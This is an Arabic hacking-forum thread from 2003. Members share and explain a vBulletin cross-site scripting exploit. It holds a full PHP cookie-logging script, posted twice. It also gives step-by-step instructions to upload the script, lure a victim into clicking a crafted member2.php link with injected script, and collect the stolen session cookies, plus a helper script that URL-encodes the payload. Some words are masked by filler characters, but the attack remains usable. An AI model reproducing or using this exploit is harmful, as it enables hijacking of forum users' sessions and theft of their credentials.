المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : ثغرة لمنتديات vbbullen لكني لاأفهمها جيدا


momeeen
31-08-2003, 01:24
+ Exploit:

- Run this script on some host:

<?PHP

// vBulletin XSS Injection Vulnerability: Exploit
// ---
// Coded By : Sp.IC (SpeedICNet@Hotmail.Com).
// Descrption: Fetching vBulletin's &@#&@#&@#&@#&@#&@#s and storing it into a
log file.

// Variables:

$LogFile = "&@#&@#&@#&@#&@#&@#s.Log";

// Functions:

/*

If ($HTTP_GET_VARS['Action'] = "Log") {

$Header = "<!--";
$Footer = "--->";

}
Else {

$Header = "";
$Footer = "";

}

Print ($Header);

*/

Print ("<Title>vBulletin XSS Injection Vulnerability:
Exploit</Title>");
Print ("<Pre>");
Print ("<Center>");
Print ("<B>vBulletin XSS Injection Vulnerability: Exploit</B>\n");
Print ("Coded By: <B><A
Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A></B><Hr Width=\"20%\">");

/*

Print ($Footer);

*/

Switch ($HTTP_GET_VARS['Action']) {

Case "Log":

$Data = $HTTP_GET_VARS['&@#&@#&@#&@#&@#&@#'];

$Data = StrStr ($Data, SubStr ($Data, BCAdd (0x0D,
StrLen (DecHex (MD5 (NULL))))));

$Log = FOpen ($LogFile, "a+");
FWrite ($Log, Trim ($Data) . "\n");
FClose ($Log);

Print ("&@#&@#&@#&@#&@#&@# HTTP-&@#&@#&@#&@#&@#=\"&@#&@#&@#&@#&@#&@#&@#\"
&@#&@#&@#&@#&@#&@#&@#=\"0; URL=" . $HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");

Break;

Case "List":

If (!File_Exists ($LogFile) || !In_Array ($Records)) {

Print ("<Br><Br><B>There are No
Records</B></Center></Pre>");

Exit ();

}
Else {

Print ("</Center></Pre>");

$Records = Array_UniQue (File ($LogFile));

Print ("<Pre>");

Print ("<B>.:: Statics</B>\n");
Print ("\n");

Print ("• Logged Records : <B>" . Count (File
($LogFile)) . "</B>\n");
Print ("• Listed Records : <B>" . Count
($Records) . " </B>[Not Counting Duplicates]\n");
Print ("\n");

Print ("<B>.:: Options</B>\n");
Print ("\n");

If (Count (File ($LogFile)) > 0) {

$Link['Download'] = "[<A Href=\"" .
$LogFile . "\">Download</A>]";

}
Else{

$Link['Download'] = "[No Records in Log]";

}

Print ("• Download Log : " . $Link
['Download'] . "\n");
Print ("• Clear Records : [<A Href=\"" .
$SCRIPT_PATH . "?Action=Delete\">Y</A>]\n");
Print ("\n");

Print ("<B>.:: Records</B>\n");
Print ("\n");

While (List ($Line[0], $Line[1]) = Each ($Records)) {

Print ("<B>" . $Line[0] . ": </B>" . $Line[1]);

}

}

Print ("</Pre>");

Break;

Case "Delete":

@UnLink ($LogFile);

Print ("<Br><Br><B>Deleted
Succsesfuly</B></Center></Pre>") Or Die ("<Br><Br><B>Error: Cannot Delete
Log</B></Center></Pre>");

Print ("&@#&@#&@#&@#&@#&@# HTTP-&@#&@#&@#&@#&@#=\"&@#&@#&@#&@#&@#&@#&@#\" &@#&@#&@#&@#&@#&@#&@#=\"3; URL=" .
$HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");

Break;

}

?>

- Give a victim this link: member2.php?s=[Session]
&action=viewsubscription&perpage=[Script Code]

- Note: You can replace [Script Code] with: --
><Script>location='Http://[Exploit Path]?Action=Log&&@#&@#&@#&@#&@#&@#='+
(document.&@#&@#&@#&@#&@#&@#);</Script>

- Then go to Http://[Exploit Path]?Action=List


أرجو من يفهمها يقوم بشرحها

silent storm
01-09-2003, 12:35
نستنى الرد يا خبراء لا تحرمونا من خبرتكم ;)

.rEdjoKe.
02-09-2003, 11:23
xss خت السكرب علي موقع بتاعك فيه php و بعدين حت السكريبت الحرامي :P في أي منتدا بيعم html

one Time hackin
18-09-2003, 07:04
باين انها تطبق بالفرونت بيج او اي منتدى ممكن تسوي باست للسكربت هذا :D;)
تشاااوو|4||4||4|

arab_hak
19-09-2003, 07:45
بسم الله الرحمن الرحيم

احم احم

المهم شرحها كالتالي:

1- انسخ الكود واحفظه بالمفكرة بامتداد php(لمن تبغا تحفظه بهذا الامتداد تكتب مثلا لو كان الاسم xss تكتب xss.php)
<?PHP
// vBulletin XSS Injection Vulnerability: Exploit
// ---
// Coded By : Sp.IC (SpeedICNet@Hotmail.Com).
// Descrption: Fetching vBulletin's &@#&@#&@#&@#&@#&@#s and storing it into a log file.

// Variables:

$LogFile = "&@#&@#&@#&@#&@#&@#s.Log";

// Functions:
/*
If ($HTTP_GET_VARS['Action'] = "Log") {
$Header = "<!--";
$Footer = "--->";
}
Else {

$Header = "";
$Footer = "";
}
Print ($Header);
*/
Print ("<Title>vBulletin XSS Injection Vulnerability: Exploit</Title>");
Print ("<Pre>");
Print ("<Center>");
Print ("<B>vBulletin XSS Injection Vulnerability: Exploit</B>\n");
Print ("Coded By: <B><A Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A></B><Hr Width=\"20%\">");
/*
Print ($Footer);
*/

Switch ($HTTP_GET_VARS['Action']) {
Case "Log":

$Data = $HTTP_GET_VARS['&@#&@#&@#&@#&@#&@#'];
$Data = StrStr ($Data, SubStr ($Data, BCAdd (0x0D, StrLen (DecHex (MD5 (NULL))))));
$Log = FOpen ($LogFile, "a+");
FWrite ($Log, Trim ($Data) . "\n");
FClose ($Log);
Print ("&@#&@#&@#&@#&@#&@# HTTP-&@#&@#&@#&@#&@#=\"&@#&@#&@#&@#&@#&@#&@#\" &@#&@#&@#&@#&@#&@#&@#=\"0; URL=" . $HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");
Break;
Case "List":
If (!File_Exists ($LogFile) || !In_Array ($Records)) {
Print ("<Br><Br><B>There are No Records</B></Center></Pre>");
Exit ();
}
Else {
Print ("</Center></Pre>");
$Records = Array_UniQue (File ($LogFile));
Print ("<Pre>");
Print ("<B>.:: Statics</B>\n");
Print ("\n");
Print ("o Logged Records : <B>" . Count (File ($LogFile)) . "</B>\n");
Print ("o Listed Records : <B>" . Count ($Records) . " </B>[Not Counting Duplicates]\n");
Print ("\n");

Print ("<B>.:: Options</B>\n");
Print ("\n");

If (Count (File ($LogFile)) > 0) {
$Link['Download'] = "[<A Href=\"" . $LogFile . "\">Download</A>]";
}
Else{
$Link['Download'] = "[No Records in Log]";
}

Print ("o Download Log : " . $Link['Download'] . "\n");
Print ("o Clear Records : [<A Href=\"" . $SCRIPT_PATH. "?Action=Delete\">Y</A>]\n");
Print ("\n");
Print ("<B>.:: Records</B>\n");
Print ("\n");

While (List ($Line[0], $Line[1]) = Each ($Records)) {
Print ("<B>" . $Line[0] . ": </B>" . $Line[1]);
}
}

Print ("</Pre>");
Break;
Case "Delete":
@UnLink ($LogFile);
Print ("<Br><Br><B>Deleted Succsesfuly</B></Center></Pre>") Or Die ("<Br><Br><B>Error: Cannot Delete Log</B></Center></Pre>");
Print ("&@#&@#&@#&@#&@#&@# HTTP-&@#&@#&@#&@#&@#=\"&@#&@#&@#&@#&@#&@#&@#\" &@#&@#&@#&@#&@#&@#&@#=\"3; URL=" . $HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");
Break;
}
?>
2- ارفع الملف لموقع يدعم php
3- اجعل الضحية يضغط على هذا اللينك
member2.php?s=[Session]&action=viewsubscription&perpage=[Script Code]
واستبدال [script code]
بهذا
<Script>location='Http://[مكان الملف الذي تم تحميله]?Action=Log&&@#&@#&@#&@#&@#&@#='+(document.&@#&@#&@#&@#&@#&@#);</Script>
4-اذهب الى المجلد اللي في موقعك مثلا انت عندك صفحه مجانيه انت بتضع كل الملفات داخل مجلد واحد تلقى ملف الكوكيز في نفس مجلد الثغره اللي حطيته xss.php

================================
هناك تغييرات على الصفحه المرفوعه سوف تعملها كلاتي:
و لتخطي هذه المشكلة ينبغي استبدال رموز الـ Script Code بالنظير الست عشري لكل رمز، راجع الشفرة التالية:



PHP:--------------------------------------------------------------------------------
<?PHP

$Path = "Http://127.0.0.1/&@#&@#&@#&@#&@#&@#Logger.php";

Print ("/member2.php?s=[Session]&action=viewsubscription&perpage=-->" . URLEncode ("<Script>location='" . $Path . "?Action=Log&&@#&@#&@#&@#&@#&@#='+(document.&@#&@#&@#&@#&@#&@#);</Script>"));

?>

--------------------------------------------------------------------------------


تستطيع استبدال قيمة Path بعنوان أو مسار الاستثمار Exploit الخاص بالمسجل، ثم قم بنسخ المخرجات و ألحقها بمسار المنتدى، مثال:


code:--------------------------------------------------------------------------------Http://www.Web-Site.net/vB-Forum/member2.php?s=[Session]&action=viewsubscription&perpage=-->%3CScript%3Elocation%3D%27Http%3A%2F%2F127.0.0.1%2 F&@#&@#&@#&@#&@#&@#Logger.php%3FAction%3DLog%26&@#&@#&@#&@#&@#&@#%3D%27%2B %28document.&@#&@#&@#&@#&@#&@#%29%3B%3C%2FScript%3E--------------------------------------------------------------------------------


و بالنسبة للاستثمار و الأخطاء التي يعطيها مفسر الـ PHP فيجب التأكد من توافقية الدوال مع اصدار المفسر.

ملاحظة: تم تجريب الاستثمار على Apache/1.3.20 (Win32) PHP/4.0.6.

عندك شئاسال تراني فاضي

مقتبس من مكتشف الثغره تراه عربي مو انجليزي اللي اكتشفها;);););)

momeeen
09-10-2003, 02:32
مشكور جدا على هذا الشرح الجيد

DaRk_AgE
11-10-2003, 05:35
شكرا لك على شرح الثغرة وعلى من وضعها بالمنتدى


واعتقد ان من كتب عنها هوا

الـ<>ــــد <>ـــر
---------------------

تحياتى لكم
DaRk_AgE